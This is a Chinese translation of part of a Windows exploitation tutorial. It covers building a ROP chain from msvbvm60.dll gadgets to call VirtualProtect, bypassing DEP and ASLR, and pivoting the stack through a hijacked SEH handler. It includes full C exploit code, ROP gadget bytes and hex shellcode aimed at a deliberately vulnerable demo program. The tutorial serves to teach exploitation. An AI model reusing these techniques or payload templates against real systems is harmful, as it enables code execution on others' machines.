Windows内存破坏漏洞的现代探索,Part I:堆栈溢出(三)

阅读量233759

|

发布时间 : 2020-12-18 10:00:45

x
译文声明

本文是翻译文章,文章原作者 forrest-orr,文章来源:forrest-orr.net

原文地址:https://www.forrest-orr.net/post/a-modern-exploration-of-windows-memory-corruption-exploits-part-i-stack-overflows

译文仅供参考,具体内容表达以及含义原文为准。

 

在上一篇文章中,我们为读者详细介绍了SHE劫持技术,以及DED和ASLR防御机制,在本文中,我们将继续为读者讲解如何创建ROP链。

 

创建ROP链

第一步,我使用Ropper从msvbvm60.dll中提取所有可能有用的可执行代码片段(以RET、JMP或CALL指令结束)。实际上,我创建ROP链有三个主要意图:

  1. 通过从msvbvm60.dll的IAT加载其地址来调用KERNEL32.DLL!VirtualProtect(以绕过KERNEL32.DLL的ASLR)。
  2. 动态控制VirtualProtect的第一个参数,使其指向堆栈上的shellcode(以绕过DEP)。
  3. 人为控制VirtualProtect的返回地址,令其返回时,动态地执行堆栈上的shellcode(现在的权限是+RWX)。

在编写ROP链的时候,我先用汇编语言描述所需逻辑的伪代码,然后,设法用ROP Gadget来复现该逻辑。

Gadget #1 | MOV REG1, <Address of VirtualProtect IAT thunk> ; RET

Gadget #2 | MOV REG2, <Address of JMP ESP - Gadget #6> ; RET

Gadget #3 | MOV REG3, <Address of gadget #5> ; RET

Gadget #4 | PUSH ESP ; PUSH REG3 ; RET

Gadget #5 | PUSH REG2 ; JMP DWORD [REG1]

Gadget #6 | JMP ESP

图14 ROP链伪代码逻辑

值得注意的是,在上面精心构造的的逻辑中,使用了msvbvm60.dll中一个包含VirtualProtect地址的解除引用的IAT thunk地址,以解决KERNEL32.DLL的ASLR问题。Windows在加载msvbvm60.dll时,会为我们解析VirtualProtect的地址,并且这个地址将始终保存在msvbvm60.dll内的同一位置处。这里,我打算使用JMP指令来调用它,而不是CALL指令。这是因为我需要为调用VirtualProtect创建一个伪造的返回地址,这个返回地址将导致shellcode(现在已经摆脱了DEP)直接执行。这个伪造的返回地址会指向一个JMP ESP gadget。我这么做的理由是:尽管不知道(也无法知道)通过溢出写入栈中的shellcode的具体位置,但该gadget返回后,ESP会指向ROP链的末端,而我可以精心构造溢出内容,使shellcode正好位于这个ROP链后面。

此外,我在第4个gadget中也使用了同样的技术:通过两个push指令让ESP动态生成VirtualProtect的第一个参数。与JMP ESP指令不同(其中ESP会直接指向我的shellcode),这里的ESP会与我的shellcode的地址略有偏差(运行时ESP与ROP链末端的距离)。这并不是一个问题,因为充其量只是在ROP链的末端除了shellcode本身之外,还将禁用DEP。

在构建ROP链的过程中(也就是将上述逻辑付诸实施过程中),我发现gadget #4(我的伪代码gadget中最稀有和最不可替代的一个)没有出现在msvbvm60.dll中。这个挫折是一个很好的例子,说明了为什么在任何公共漏洞利用代码中几乎每个ROP链都在使用PUSHAD指令,而不是类似于我所描述的伪代码逻辑。

简而言之,PUSHAD指令允许exploit编写者动态地将ESP的值(以及堆栈上的shellcode)与所有其他相关的KERNEL32.DLL!VirtualProtect参数一起放到堆栈上,而无需使用任何罕见的gadget。他们所有需要做的就是正确填充每个通用寄存器的值,然后执行PUSHAD ; RET gadget来完成攻击。关于这方面的详细介绍,请访问Corelan撰写的“ Exploit writing tutorial part 10 : Chaining DEP with ROP – the Rubik’s[TM] Cube”一文。最终,我们的ROP链需要通过如下方式设置相关的寄存器:

EAX = NOP sled

ECX = Old protection (writable address)

EDX = PAGE_EXECUTE_READWRITE

EBX = Size

EBP = VirtualProtect return address (JMP ESP)

ESI = KERNEL32.DLL!VirtualProtect

EDI = ROPNOP

在实践中,上面的逻辑可以被ROP gadget替换,具体如下面的伪码所示:

Gadget #1: MOV EAX, <msvbvm60.dll!VirtualProtect>

Gadget #2: MOV ESI, DWORD [ESI]

Gadget #3: MOV EAX, 0x90909090

Gadget #4: MOV ECX, <msvbvm60.dll!.data>

Gadget #5: MOV EDX, 0x40

Gadget #6: MOV EBX, 0x2000

Gadget #7: MOV EBP,

Gadget #8: MOV EDI,

Gadget #9: PUSHAD

Gadget #10: ROPNOP

Gadget #11: JMP ESP

上面的伪码逻辑最终可以转换为来自msvbvm60.dll的ROP链数据,具体如下所示:

uint8_t RopChain[] =

"\x54\x1e\x00\x66" // 0x66001e54 | Gadget #1 | POP ESI ; RET

"\xd0\x10\x00\x66" // 0x660010d0 -> ESI | <msvbvm60.dll!VirtualProtect thunk>

"\xfc\x50\x05\x66" // 0x660550fc | Gadget #2 | MOV EAX, DWORD [ESI] ; POP ESI; RET

"\xef\xbe\xad\xde" // Junk

"\xf8\x9f\x0f\x66" // 0x660f9ff8 | Gadget #3 | XCHG EAX, ESI; RET

"\x1f\x98\x0e\x66" // 0x660e981f | Gadget #4 | POP EAX; RET

"\x90\x90\x90\x90" // NOP sled -> EAX | JMP ESP will point here

"\xf0\x1d\x00\x66" // 0x66001df0 | Gadget #5 | POP EBP; RET

"\xea\xcb\x01\x66" // 0x6601CBEA -> EBP |

"\x10\x1f\x00\x66" // 0x66001f10 | Gadget #6 | POP EBX; RET

"\x00\x20\x00\x00" // 0x2000 -> EBX | VirtualProtect() | Param #2 | dwSize

"\x21\x44\x06\x66" // 0x66064421 | Gadget #7 | POP EDX; RET

"\x40\x00\x00\x00" // 0x40 -> EDX | VirtualProtect() | Param #3 | flNewProtect | PAGE_EXECUTE_READWRITE

"\xf2\x1f\x00\x66" // 0x66001ff2 | Gadget #8 | POP ECX; RET

"\x00\xa0\x10\x66" // 0x6610A000 -> ECX | VirtualProtect() | Param #4 | lpflOldProtect

"\x5b\x57\x00\x66" // 0x6600575b | Gadget #9 | POP EDI; RET

"\xf9\x28\x0f\x66" // 0x660F28F9 -> EDI |

"\x54\x12\x05\x66" // 0x66051254 | Gadget #10 | PUSHAD; RET

// 0x660F28F9 | Gadget #11 | ROPNOP | returns into VirtualProtect

// 0x6601CBEA | Gadget #12 | PUSH ESP; RET | return address from VirtualProtect

图15 来自msvbvm60.dll的ROP链

 

执行任意代码

构建了ROP链,也搞定了劫持EIP的方法,现在剩下的唯一任务就是构建exploit。为此,我们必须了解当伪造的SEH handler收到程序的控制权时堆栈的布局情况。理想情况下,我们当然希望ESP直接指向ROP链的顶部,并结合EIP重定向,使其指向链中的第一个gadget。在实践中,这是不可能的。让我们回顾一下图8所示的堆栈喷射代码,并在在伪造的handler的开始处设置一个断点,以观察发生溢出和EIP劫持后栈的状态。

图16 喷入的SEH handler执行时堆栈的状态

在右边的突出显示的区域,我们可以看到堆栈的底部位于0x010FF3C0处。然而,您可能会注意到,堆栈中的值都不是我们溢出的内容——大家可能还记得,在发生访问冲突之前,我们在不断向堆栈中喷射伪造的SEH handler的地址。在左边突出显示的区域,我们可以看到,我们的溢出内容起始于0x010FFA0C附近。因此,在异常发生后,NTDLL.DLL让ESP向我们用溢出内容覆盖的堆栈区域下方偏移了0x64C字节(记住,堆栈是向下生长的,而不是向上生长的)。有了这些信息,就不难理解发生了什么。当NTDLL.DLL处理异常时,它开始使用异常发生时ESP下方的堆栈区域,而这个区域是我们鞭长莫及的,因此,也就无法写入我们的ROP链。

因此,这就产生了一个有趣的问题。也就是说,要想执行ROP链,我们需要让伪造的SEH handler设法让ESP(栈顶指针)重新指向由溢出内容覆盖的堆栈区域。当我们的断点被击中时,检查ESP的值,我们可以在0x010FF3C0处看到一个返回NTDLL.DLL的地址(无用),其后是另一个位于我们所能控制的堆栈范围(0x010FF4C4)下方的地址(也无用),它位于0x010FF3C4处。然而,0x010FF3C8处的第三个值0x010FF3A74直接落在从0x010FFA0C开始的受控区域的地址范围内,其偏移值为0x64。重新审视异常处理程序的原型,就会发现这第三个值(代表传递给处理程序的第二个参数)对应的是Windows传递给SEH handler的“已建帧”的指针。

EXCEPTION_DISPOSITION __cdecl SehHandler(EXCEPTION_RECORD* pExceptionRecord, void* pEstablisherFrame, CONTEXT* pContextRecord, void* pDispatcherContext)

在我们的调试器中,检查堆栈中0x010FF3A74这个地址处的内容,我们可以更进一步地了解这个参数(也称为NSEH)的指向。

图17 传递给SEH handler的已建帧参数所指示的堆栈区域

果然,我们可以看到,这个地址指向我们的溢出所控制的堆栈的一个区域(现在该区域已经被喷入的handler地址填满了)。具体来说,它直接指向前面提到的EXCEPTION_REGISTRATION_RECORD结构体的开始位置,而我们早就覆盖了这个结构体并用它来劫持EIP。在理想情况下,我们伪造的SEH handler会将ESP设置为[ESP + 8],并且我们会将ROP链的开头部分放在被我们的溢出内容覆盖的EXCEPTION_REGISTRATION_RECORD结构体的开始处。对于这种类型的堆栈pivot,一个理想的gadget是POP REG;POP REG;POP ESP;RET或这种逻辑的一些变体,然而,msvbvm60.dll中并没有这种gadget,我不得不设法设计一个不同的解决方案。如前所述,当NTDLL将EIP重定向到我们伪造的SEH handler时,ESP在堆栈上的偏移量0x64C已经超出了我们用溢出控制的区域(具体来说,跑到该区域的下方了)。因此,对于堆栈pivot的这个问题,一个不太优雅的解决方案就是直接给ESP加上一个大于或等于0x64C的值。Ropper提供了一个功能,可以提取潜在的堆栈pivot gadget:

图18 使用Ropper从msvbvm60.dll中提取堆栈pivot

ADD ESP,0x1004 ; RET是一个略显混乱的gadget:它超出溢出开始处0x990个字节,但由于它是唯一一个值大于0x64C的ADD ESP,因此别无选择。这个堆栈pivot会让ESP从我们的溢出起始处超出0x990或0x98C个字节(当然,对于同一应用程序的不同实例以及Windows的不同版本来说,该值还能会有所变化)。这意味着我们需要在实际ROP链开始之前,用0x98C个垃圾字节和ROPNOP来填充溢出。

图19 溢出后EIP劫持点处的堆栈布局图

将这些知识整合到一段代码中:

#include

#include

#include

uint8_t Exploit[] =

"AAAAAAAAAAAAAAAA" // 16 bytes for buffer length

"AAAA" // Stack Cookie

"AAAA" // EBP

"AAAA" // Return address

"AAAA" // Overflow() | Param #1 | pInputBuf

"AAAA" // Overflow() | Param #2 | dwInputBufSize

"DDDD" // EXECEPTION_REGISTRATION_RECORD.Next

"\xf3\x28\x0f\x66"// EXECEPTION_REGISTRATION_RECORD.Handler | 0x660f28f3 | ADD ESP, 0x1004; RET

"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"

"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"

"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"

"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"

"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"

"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"

"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"

"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"

"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"

"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"

"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"

"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"

"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"

"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"

"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"

"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"

"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"

"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"

"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"

"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"

"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"

"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"

"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"

"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"

"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"

"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"

"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"

"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"

"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"

"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"

"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"

"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"

"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"

"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"

"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"

"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"

"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"

"\xf9\x28\x0f\x66" // 0x660F28F9 | ROPNOP

// ROP chain begins

// EAX = NOP sled

// ECX = Old protection (writable address)

// EDX = PAGE_EXECUTE_READWRITE

// EBX = Size

// EBP = VirtualProtect return address (JMP ESP)

// ESI = KERNEL32.DLL!VirtualProtect

// EDI = ROPNOP

"\x54\x1e\x00\x66" // 0x66001e54 | Gadget #1 | POP ESI ; RET

"\xd0\x10\x00\x66" // 0x660010d0 -> ESI | <msvbvm60.dll!VirtualProtect thunk>

"\xfc\x50\x05\x66" // 0x660550fc | Gadget #2 | MOV EAX, DWORD [ESI] ; POP ESI; RET

"\xef\xbe\xad\xde" // Junk

"\xf8\x9f\x0f\x66" // 0x660f9ff8 | Gadget #3 | XCHG EAX, ESI; RET

"\x1f\x98\x0e\x66" // 0x660e981f | Gadget #4 | POP EAX; RET

"\x90\x90\x90\x90" // NOP sled -> EAX | JMP ESP will point here

"\xf0\x1d\x00\x66" // 0x66001df0 | Gadget #5 | POP EBP; RET

"\xea\xcb\x01\x66" // 0x6601CBEA -> EBP |

"\x10\x1f\x00\x66" // 0x66001f10 | Gadget #6 | POP EBX; RET

"\x00\x20\x00\x00" // 0x2000 -> EBX | VirtualProtect() | Param #2 | dwSize

"\x21\x44\x06\x66" // 0x66064421 | Gadget #7 | POP EDX; RET

"\x40\x00\x00\x00" // 0x40 -> EDX | VirtualProtect() | Param #3 | flNewProtect | PAGE_EXECUTE_READWRITE

"\xf2\x1f\x00\x66" // 0x66001ff2 | Gadget #8 | POP ECX; RET

"\x00\xa0\x10\x66" // 0x6610A000 -> ECX | VirtualProtect() | Param #4 | lpflOldProtect

"\x5b\x57\x00\x66" // 0x6600575b | Gadget #9 | POP EDI; RET

"\xf9\x28\x0f\x66" // 0x660F28F9 -> EDI |

"\x54\x12\x05\x66" // 0x66051254 | Gadget #10 | PUSHAD; RET

// 0x660F28F9 | Gadget #11 | ROPNOP | returns into VirtualProtect

// 0x6601CBEA | Gadget #12 | PUSH ESP; RET | return address from VirtualProtect

// Shellcode

"\x55\x89\xe5\x68\x88\x4e\x0d\x00\xe8\x53\x00\x00\x00\x68\x86\x57"

"\x0d\x00\x50\xe8\x94\x00\x00\x00\x68\x33\x32\x00\x00\x68\x55\x73"

"\x65\x72\x54\xff\xd0\x68\x1a\xb8\x06\x00\x50\xe8\x7c\x00\x00\x00"

"\x6a\x64\x68\x70\x77\x6e\x65\x89\xe1\x68\x6e\x65\x74\x00\x68\x6f"

"\x72\x72\x2e\x68\x65\x73\x74\x2d\x68\x66\x6f\x72\x72\x68\x77\x77"

"\x77\x2e\x89\xe2\x6a\x00\x52\x51\x6a\x00\xff\xd0\x89\xec\x5d\xc3"

"\x55\x89\xe5\x57\x56\xbe\x30\x00\x00\x00\x64\xad\x8b\x40\x0c\x8b"

"\x78\x18\x89\xfe\x31\xc0\xeb\x04\x39\xf7\x74\x28\x85\xf6\x74\x24"

"\x8d\x5e\x24\x85\xdb\x74\x14\x8b\x4b\x04\x85\xc9\x74\x0d\x6a\x01"

"\x51\xe8\x5d\x01\x00\x00\x3b\x45\x08\x74\x06\x31\xc0\x8b\x36\xeb"

"\xd7\x8b\x46\x10\x5e\x5f\x89\xec\x5d\xc2\x04\x00\x55\x89\xe5\x81"

"\xec\x30\x02\x00\x00\x8b\x45\x08\x89\x45\xf8\x8b\x55\xf8\x03\x42"

"\x3c\x83\xc0\x04\x89\x45\xf0\x83\xc0\x14\x89\x45\xf4\x89\xc2\x8b"

"\x45\x08\x03\x42\x60\x8b\x4a\x64\x89\x4d\xd0\x89\x45\xfc\x89\xc2"

"\x8b\x45\x08\x03\x42\x20\x89\x45\xec\x8b\x55\xfc\x8b\x45\x08\x03"

"\x42\x24\x89\x45\xe4\x8b\x55\xfc\x8b\x45\x08\x03\x42\x1c\x89\x45"

"\xe8\x31\xc0\x89\x45\xe0\x89\x45\xd8\x8b\x45\xfc\x8b\x40\x18\x3b"

"\x45\xe0\x0f\x86\xd2\x00\x00\x00\x8b\x45\xe0\x8d\x0c\x85\x00\x00"

"\x00\x00\x8b\x55\xec\x8b\x45\x08\x03\x04\x11\x89\x45\xd4\x6a\x00"

"\x50\xe8\xbd\x00\x00\x00\x3b\x45\x0c\x0f\x85\xa1\x00\x00\x00\x8b"

"\x45\xe0\x8d\x14\x00\x8b\x45\xe4\x0f\xb7\x04\x02\x8d\x0c\x85\x00"

"\x00\x00\x00\x8b\x55\xe8\x8b\x45\x08\x03\x04\x11\x89\x45\xd8\x8b"

"\x4d\xfc\x89\xca\x03\x55\xd0\x39\xc8\x7c\x7f\x39\xd0\x7d\x7b\xc7"

"\x45\xd8\x00\x00\x00\x00\x31\xc9\x8d\x9d\xd0\xfd\xff\xff\x8a\x14"

"\x08\x80\xfa\x00\x74\x20\x80\xfa\x2e\x75\x15\xc7\x03\x2e\x64\x6c"

"\x6c\x83\xc3\x04\xc6\x03\x00\x8d\x9d\xd0\xfe\xff\xff\x41\xeb\xde"

"\x88\x13\x41\x43\xeb\xd8\xc6\x03\x00\x8d\x9d\xd0\xfd\xff\xff\x6a"

"\x00\x53\xe8\x3c\x00\x00\x00\x50\xe8\xa3\xfe\xff\xff\x85\xc0\x74"

"\x29\x89\x45\xdc\x6a\x00\x8d\x95\xd0\xfe\xff\xff\x52\xe8\x21\x00"

"\x00\x00\x50\xff\x75\xdc\xe8\xd1\xfe\xff\xff\x89\x45\xd8\xeb\x0a"

"\x8d\x45\xe0\xff\x00\xe9\x1f\xff\xff\xff\x8b\x45\xd8\x89\xec\x5d"

"\xc2\x08\x00\x55\x89\xe5\x57\x8b\x4d\x08\x8b\x7d\x0c\x31\xdb\x80"

"\x39\x00\x74\x14\x0f\xb6\x01\x0c\x60\x0f\xb6\xd0\x01\xd3\xd1\xe3"

"\x41\x85\xff\x74\xea\x41\xeb\xe7\x89\xd8\x5f\x89\xec\x5d\xc2\x08"

"\x00";



void Overflow(uint8_t* pInputBuf, uint32_t dwInputBufSize) {

char Buf[16] = { 0 };

memcpy(Buf, pInputBuf, dwInputBufSize);

}



int32_t wmain(int32_t nArgc, const wchar_t* pArgv[]) {

char Junk[0x5000] = { 0 }; // Move ESP lower to ensure the exploit data can be accomodated in the overflow

HMODULE hModule = LoadLibraryW(L"msvbvm60.dll");



__asm {

Push0xdeadc0de// Address of handler function

PushFS:[0]// Address of previous handler

Mov FS:[0], Esp// Install new EXECEPTION_REGISTRATION_RECORD

}



printf("... loaded non-ASLR/non-SafeSEH module msvbvm60.dll to 0x%p\r\n", hModule);

printf("... passing %d bytes of data to vulnerable function\r\n", sizeof(Exploit) - 1);

Overflow(Exploit, 0x20000);

return 0;

}

图20 存在堆栈溢出漏洞的应用程序,以及通过SEH劫持绕过堆栈Cookies的exploit代码

上面的代码中有几个细节值得注意。首先,您可能注意到,我通过将垃圾异常处理程序(0xdeadc0de)链接到TEB(FS[0])中的处理程序列表,显式注册了该处理程序。之所以这样做,是因为我发现在堆栈顶部覆盖NTDLL.DLL注册的默认处理程序的做法不太可靠。这是因为有时堆栈的顶端没有足够的空间来容纳shellcode,这会触发VirtualProtect的STATUS_CONFICTING_ADDRESS错误(代码0xc0000015)。

图20中另一个值得注意的细节是,我在ROP链末端的溢出内容中加入了自己的shellcode。这是我编写的一个自定义的shellcode(源代码可以从Github上下载),它在ROP链化后的堆栈上被执行后会弹出一个消息框。

编译完含有溢出漏洞程序后,我们可以进行单步跟踪,看看溢出数据是如何结合在一起来执行shellcode的。

图21 存在漏洞的程序在发生堆栈溢出前的状态

在第一个断点处,我们可以看到,栈上的目标EXCEPTION_REGISTRATION_RECORD位于0x00B9ABC8处。在发生溢出之后,我们可以期待该handler字段将被我们伪造的SEH handler的地址所覆盖。

图22 memcpy对堆栈末端之外执行写入操作是抛出的访问违例异常(Access violation exception)

在memcpy函数中,由于rep MOVSB指令试图将数据写入堆栈的末端之外的内存时,发生了访问违例异常。在0x00B9ABCC处,我们可以看到EXCEPTION_REGISTRATION_RECORD结构体的handler字段已经被我们msvbvm60.dll中的堆栈pivot gadget的地址所覆盖。

图23 伪造的SEH handler让ESP跳回由溢出控制的地区

在堆栈中向上跳过0x1004字节,我们可以看到在突出显示区域,ESP现在指向我们ROP链的开始地址。这个ROP链将填充所有相关寄存器的值,以便为PUSHAD gadget做好相应的准备,之后,该gadget将把这些值移到堆栈上,从而为调用KERNEL32.DLL!VirtualProtect做好准备。

图24 PUSHAD为绕过DEP准备好相应的调用栈

在PUSHAD指令执行后,我们可以看到ESP现在指向msvbvm60.dll中的ROPN,其后紧跟KERNEL32.DLL中VirtualProtect的地址。在0x00B9B594处,我们可以看到传递给VirtualProtect的第一个参数,就是我们堆栈上0x00B9B5A4处的shellcode的地址(该地址在图24中已经突出显示)。

图25 ROP链的最后一个gadget将EIP设置为ESP

一旦VirtualProtect返回,ROP链中的最后一个gadget就会将EIP重定向到ESP的值,这样,ESP将指向我们直接存储在ROP链之后的shellcode的起始位置。您可能已经注意到,shellcode的前4个字节实际上就是ROP链通过PUSHAD指令动态生成的NOP指令,而不是通过溢出写入的shellcode的起始位置。

图26 弹出消息框的shellcode在堆栈上成功执行,从而完成了漏洞的利用过程

 

小结

在本文中,我们为读者解释了ROP链的创建过程,以及执行任意代码的实现过程,在下一篇文章中,我们将为读者介绍针对SEH劫持技术的一种强大的防御机制,即SEHOP。

本文翻译自forrest-orr.net 原文链接。如若转载请注明出处。
分享到:微信
+14赞
收藏
shan66
分享到:微信

发表评论

内容需知
  • 投稿须知
  • 转载须知
  • 官网QQ群8:819797106
  • 官网QQ群3:830462644(已满)
  • 官网QQ群2:814450983(已满)
  • 官网QQ群1:702511263(已满)
合作单位
  • 安全客
  • 安全客
Copyright © 北京奇虎科技有限公司 360网络攻防实验室 安全客 All Rights Reserved 京ICP备08010314号-66